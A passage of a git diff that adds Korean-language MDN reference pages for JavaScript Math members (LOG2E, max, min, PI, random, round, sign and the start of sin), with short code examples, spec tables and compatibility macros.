+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-math.log2', 'Math.log2')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.log2', 'Math.log2')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.log2")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log2e/index.html b/files/ko/web/javascript/reference/global_objects/math/log2e/index.html
new file mode 100644
index 0000000000..244224df3d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log2e/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.LOG2E
+slug: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+tags:
+ - JavaScript
+ - Math
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.LOG2E</code></strong> 속성은 e의 로그 2 값, 약 1.442의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG2E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>1.442</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log2e.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LOG2E</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LOG2E</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="설명_2">설명</h2>
+
+<h3 id="Math.LOG2E_사용하기"><code>Math.LOG2E</code> 사용하기</h3>
+
+<p>다음 함수는 e의 로그 2 값을 반환합니다.</p>
+
+<pre class="brush: js">function getLog2e() {
+ return Math.LOG2E;
+}
+
+getLog2e(); // 1.4426950408889634
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.log2e', 'Math.LOG2E')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.LOG2E")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/max/index.html b/files/ko/web/javascript/reference/global_objects/math/max/index.html
new file mode 100644
index 0000000000..e315e5027b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/max/index.html
@@ -0,0 +1,110 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Reference/Global_Objects/Math/max
+tags:
+ - Math
+ - 메소드
+ - 자바스크립트
+ - 참조
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef}}</div>
+
+<p><strong>Math.max()</strong>함수는 입력값으로 받은 0개 이상의 숫자 중 가장 큰 숫자를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.max([<var>값1</var>[, <var>값2</var>[, ...]]])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>값1, 값2, ...</code></dt>
+ <dd>숫자들.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>입력된 숫자 중 가장 큰 숫자를 반환합니다. 만약 인수 중 하나라도 숫자로 변환하지 못한다면 {{jsxref("NaN")}}로 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>max ()는 Math의 정적 메서드이기 때문에 만든 Math 개체의 메서드가 아닌 항상 Math.max ()로 사용해야합니다. (Math는 생성자가 아닙니다).</p>
+
+<p>만약 아무 요소도 주어지지 않았다면 {{jsxref("-Infinity")}}로 반환합니다.</p>
+
+<p>만약 한 개 이상의 요소가 숫자로 변환되지 않는다면 {{jsxref("NaN")}}로 반환됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.max함수_사용하기"><code>Math.max()함수 사용하기</code></h3>
+
+<pre class="brush: js notranslate">Math.max(10, 20); // 20
+Math.max(-10, -20); // -10
+Math.max(-10, 20); // 20
+</pre>
+
+<p>다음 함수는 {{jsxref ( "Function.prototype.apply ()")}}을 사용하여 숫자 배열에서 최대 요소를 찾습니다. getMaxOfArray ([1, 2, 3])는 Math.max (1, 2, 3)와 동일하지만 프로그래밍 방식으로 생성 된 모든 크기의 배열에서 getMaxOfArray ()를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">function getMaxOfArray(numArray) {
+ return Math.max.apply(null, numArray);
+}
+</pre>
+
+<p>{{jsxref("Array.prototype.reduce", "Array.reduce()")}} 이 함수 또한 배열의 각 값을 비교하여 가장 큰 숫자를 얻을 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var arr = [1,2,3];
+var max = arr.reduce(function(a, b) {
+  return Math.max(a, b);
+});
+</pre>
+
+<p>또한 {{jsxref("Operators/Spread_operator", "spread operator")}}이 함수를 사용하면 배열의 숫자들 중 가장 큰 숫자를 쉽게 얻을 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3];
+var max = Math.max(...arr);
+</pre>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.max', 'Math.max')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.max")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/min/index.html b/files/ko/web/javascript/reference/global_objects/math/min/index.html
new file mode 100644
index 0000000000..7bf84ee57c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/min/index.html
@@ -0,0 +1,103 @@
+---
+title: Math.min()
+slug: Web/JavaScript/Reference/Global_Objects/Math/min
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/min
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.min()</code></strong> 함수는 주어진 숫자들 중 가장 작은 값을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.min([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>숫자형</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>주어진 숫자들 중 가장 작은 값. 만약 적어도 1개 이상의 인자값이 숫자형으로 변환이 불가능 한 경우 이 함수는 {{jsxref("NaN")}} 를 반환 합니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>min()</code> 함수는 <code>Math</code> 의 정적 메소드 이므로, 사용자가 생성한 <code>Math</code> 객체의 메소드로 호출하는 것이 아닌 항상 <code>Math.min()</code> 으로 호출되어야 합니다. (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<p>만약 주어진 인자값이 없을 경우, {{jsxref("Infinity")}} 가 반환됩니다.</p>
+
+<p>만약 적어도 1개 이상의 인자값이 숫자형으로 변환이 불가능 한 경우, {{jsxref("NaN")}} 가 반환됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Math.min()">Using <code>Math.min()</code></h3>
+
+<p>아래 수식은 <code>x</code> 와<code>y</code> 중 작은 값을 찾아 <code>z</code> 에 할당 합니다.     </p>
+
+<pre class="brush: js">var x = 10, y = -20;
+var z = Math.min(x, y);
+</pre>
+
+<h3 id="Clipping_a_value_with_Math.min()">Clipping a value with <code>Math.min()</code></h3>
+
+<p><code>Math.min()</code> 함수는 때때로 값 제한, 즉 항상 기준 보다 작거나 같은 값으로 제한하는 용도로 사용됩니다. 예를 들면,</p>
+
+<pre class="brush: js">var x = f(foo);
+
+if (x &gt; boundary) {
+ x = boundary;
+}
+</pre>
+
+<p> 위 코드는 다음과 같이 쓸 수 있습니다.</p>
+
+<pre class="brush: js">var x = Math.min(f(foo), boundary);
+</pre>
+
+<p>{{jsxref("Math.max()")}} 함수 또한 같은 방식으로 기준보다 크거나 같은 값으로 제한하는 용도로 사용할 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.min', 'Math.min')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.min', 'Math.min')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.min")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/pi/index.html b/files/ko/web/javascript/reference/global_objects/math/pi/index.html
new file mode 100644
index 0000000000..8223a68df6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/pi/index.html
@@ -0,0 +1,82 @@
+---
+title: Math.PI
+slug: Web/JavaScript/Reference/Global_Objects/Math/PI
+tags:
+ - JavaScript
+ - Math
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.PI</code></strong> 속성은 원의 둘레와 지름의 비율, 약 3.14159의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.PI</mi></mstyle><mo>=</mo><mi>π</mi><mo>≈</mo><mn>3.14159</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.PI}} = \pi \approx 3.14159</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-pi.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>PI</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.PI</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.PI_사용하기"><code>Math.PI</code> 사용하기</h3>
+
+<p>다음 함수는 <code>Math.PI</code>를 사용해 주어진 원의 반지름에서 둘레를 계산합니다.</p>
+
+<pre class="brush: js">function calculateCircumference(radius) {
+ return Math.PI * (radius + radius);
+}
+
+calculateCircumference(1); // 6.283185307179586
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">등급</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.1.6', 'Math.PI')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.pi', 'Math.PI')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.pi', 'Math.PI')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.PI")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/random/index.html b/files/ko/web/javascript/reference/global_objects/math/random/index.html
new file mode 100644
index 0000000000..9ce02207de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/random/index.html
@@ -0,0 +1,106 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Reference/Global_Objects/Math/random
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.random()</code></strong> 함수는 0 이상 1 미만의 구간에서 근사적으로 균일한(approximately uniform) 부동소숫점 의사난수를 반환하며, 이 값은 사용자가 원하는 범위로 변형할 수 있다. 난수 생성 알고리즘에 사용되는 초기값은 구현체가 선택하며, 사용자가 선택하거나 초기화할 수 없다.</p>
+
+<div class="note">
+<p><code>Math.random()</code>은 암호학적으로 안전한 난수를 <strong>제공하지 않으므로</strong>, 보안과 관련된 어떤 것에도 이 함수를 사용해서는 안 된다. 그 대신 Web Crypto API의 {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}} 메소드를 이용하여야 한다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.random()</code>
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>0 이상 1 미만의 부동소숫점 의사 난수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.random_사용"><code>Math.random()</code> 사용</h3>
+
+<p>JavaScript의 수(number)는 가까운 짝수로 반올림되는(round-to-nearest-even behavior) IEEE 754 부동소수점 실수이므로, 아래 함수들(<code>Math.random()</code> 자체에 대한 사항은 제외)에 명시된 범위는 정확하지 않음을 유의하라. 지나치게 큰 범위(2<sup>53</sup> 이상)를 선택할 경우, <em>매우</em> 드문 경우 원래 포함되어서는 안 될 최댓값이 포함되는 경우가 있다.</p>
+
+<h3 id="0_이상_1_미만의_난수_생성하기">0 이상 1 미만의 난수 생성하기</h3>
+
+<pre class="brush: js">function getRandom() {
+ return Math.random();
+}
+</pre>
+
+<h3 id="두_값_사이의_난수_생성하기">두 값 사이의 난수 생성하기</h3>
+
+<p>이 예제는 주어진 두 값 사이의 난수를 생성한다. 함수의 반환값은 <code>min</code>보다 크거나 같으며, <code>max</code>보다 작다.</p>
+
+<pre class="brush: js">function getRandomArbitrary(min, max) {
+ return Math.random() * (max - min) + min;
+}
+</pre>
+
+<h3 id="두_값_사이의_정수_난수_생성하기">두 값 사이의 정수 난수 생성하기</h3>
+
+<p>이 예제는 주어진 두 값 사이의 <u>정수인</u> 난수를 생성한다. 반환값은 <code>min</code>(단, <code>min</code>이 정수가 아니면 <code>min</code>보다 큰 최소의 정수)보다 크거나 같으며, <code>max</code>보다 작다.</p>
+
+<pre class="brush: js">function getRandomInt(min, max) {
+ min = Math.ceil(min);
+ max = Math.floor(max);
+ return Math.floor(Math.random() * (max - min)) + min; //최댓값은 제외, 최솟값은 포함
+}
+</pre>
+
+<div class="note">
+<p>이 예제에서 <code>Math.round()</code>를 대신 사용하려고 할 수 있으나, 이렇게 하면 난수가 고르게 분포하지 않게 된다.</p>
+</div>
+
+<h3 id="최댓값을_포함하는_정수_난수_생성하기">최댓값을 포함하는 정수 난수 생성하기</h3>
+
+<p>위의<code>getRandomInt()</code> 함수는 최솟값을 포함하지만, 최댓값은 포함하지 않는다. 최솟값과 최댓값을 모두 포함하는 결과가 필요할 경우, 아래의 <code>getRandomIntInclusive()</code> 함수를 사용할 수 있다.</p>
+
+<pre class="brush: js">function getRandomIntInclusive(min, max) {
+ min = Math.ceil(min);
+ max = Math.floor(max);
+ return Math.floor(Math.random() * (max - min + 1)) + min; //최댓값도 포함, 최솟값도 포함
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.0 (유닉스 전용) / JavaScript 1.1 (모든 플랫폼).</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.14', 'Math.random')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.random', 'Math.random')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.random")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/math/round/index.html b/files/ko/web/javascript/reference/global_objects/math/round/index.html
new file mode 100644
index 0000000000..e163c4459e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/round/index.html
@@ -0,0 +1,92 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Reference/Global_Objects/Math/round
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.round()</code></strong> 함수는 입력값을 반올림한 수와 가장 가까운 정수 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-round.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Math.round(<var>x</var>)</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>수</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>입력값을 반올림한 값과 가장 가까운 정수를 의미합니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>If the fractional portion of the argument is greater than 0.5, the argument is rounded to the integer with the next higher absolute value. If it is less than 0.5, the argument is rounded to the integer with the lower absolute value.  If the fractional portion is exactly 0.5, the argument is rounded to the next integer in the direction of +∞.  <strong>Note that this differs from many languages' <code>round()</code> functions, which often round this case to the next integer <em>away from zero</em></strong>, instead giving a different result in the case of negative numbers with a fractional part of exactly 0.5.</p>
+
+<p>Because <code>round()</code> is a static method of <code>Math</code>, you always use it as <code>Math.round()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> has no constructor).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">Math.round( 20.49); // 20
+Math.round( 20.5 ); // 21
+Math.round( 42 ); // 42
+Math.round(-20.5 ); // -20
+Math.round(-20.51); // -21
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.round', 'Math.round')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.round', 'Math.round')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.round")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sign/index.html b/files/ko/web/javascript/reference/global_objects/math/sign/index.html
new file mode 100644
index 0000000000..adb5f15354
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sign/index.html
@@ -0,0 +1,112 @@
+---
+title: Math.sign()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sign
+tags:
+ - JavaScript
+ - Math
+ - 메소드
+ - 참조
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.sign()</code></strong> 함수는 어떤 수의 부호를 반환합니다. 이것은 그 수가 양수, 음수 또는 0인지를 나나냅니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.sign(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>수치.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 인수의 부호를 나타내는 수치. 인수가 양수, 음수, 양수인 영 또는 음수인 영이면, 이 함수는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">1</span></font>, <code>-1</code>, <code>0,</code> <code>-0</code>을 각각 반환합니다. 그렇지 않으면, {{jsxref("NaN")}} 이 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>sign()</code> 이<code>Math</code>의 정적 메소드이기 때문에 항상 <code>Math.sign()</code>으로 사용합니다. 사용자가 만든  <code>Math</code> 개체의 메소드로 가 아닙니다.   (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<p>이 함수는 반환 값이 5 가지이며, <code>1</code>, <code>-1</code>, <code>0</code>, <code>-0</code>, <code>NaN 입니다.</code> 각각 "양수", "음수", "양의 영", "음의 영", {{jsxref("NaN")}} 입니다.</p>
+
+<p>이 함수에 전달된 인수는 묵시적으로 <code>수치</code> 로 변환됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.sign()을_사용하기"> <code>Math.sign()</code>을 사용하기</h3>
+
+<pre class="brush: js">Math.sign(3); // 1
+Math.sign(-3); // -1
+Math.sign('-3'); // -1
+Math.sign(0); // 0
+Math.sign(-0); // -0
+Math.sign(NaN); // NaN
+Math.sign('foo'); // NaN
+Math.sign(); // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Math.sign) {
+ Math.sign = function(x) {
+ // x 가 NaN 이면, 결과는 NaN 입니다.
+ // x 가 -0 이면, 결과는 -0 입니다.
+ // x 가 +0 이면, 결과는 +0 입니다.
+ // x 가 음수이면서 -0 이 아니면, 결과는 -1 입니다.
+ // x 가 양수이면서 +0 이 아니면, 결과는 +1 입니다.
+ return ((x &gt; 0) - (x &lt; 0)) || +x;
+ // A more aesthetical persuado-representation is shown below
+  //
+  // ( (x &gt; 0) ? 0 : 1 ) // if x is negative then negative one
+  // + // else (because you cant be both - and +)
+  // ( (x &lt; 0) ? 0 : -1 ) // if x is positive then positive one
+  // || // if x is 0, -0, or NaN, or not a number,
+  // +x // Then the result will be x, (or) if x is
+  // // not a number, then x converts to number
+ };
+}
+</pre>
+
+<p>위의 polyfill에서는, <code>(x &gt; 0) 또는 (x &lt; 0)</code> 인 수치들을 만드는 데에 어떤 추가의 타입-강제하기도 필요하지 않은 것은  그 수치들을 서로에게서 빼는 것이 불린형에서 수치로의 형 변환을 강요하기 때문입니다.</p>
+
+<h2 id="규격명세">규격명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">규격명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>최초의 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지에서 호환성 표는 구조화된 자료로부터 생성됩니다. 그 자료에 기여하시려면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인하시고 저희에게 pull 요청을 보내십시오.</p>
+
+<p>{{Compat("javascript.builtins.Math.sign")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sin/index.html b/files/ko/web/javascript/reference/global_objects/math/sin/index.html
new file mode 100644
index 0000000000..1978d7f8e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sin/index.html
@@ -0,0 +1,97 @@
+---
+title: Math.sin()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sin
+tags:
+ - 레퍼런스
+ - 메소드
+ - 수학
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.sin()</code></strong> 함수는 숫자의 사인값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sin.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
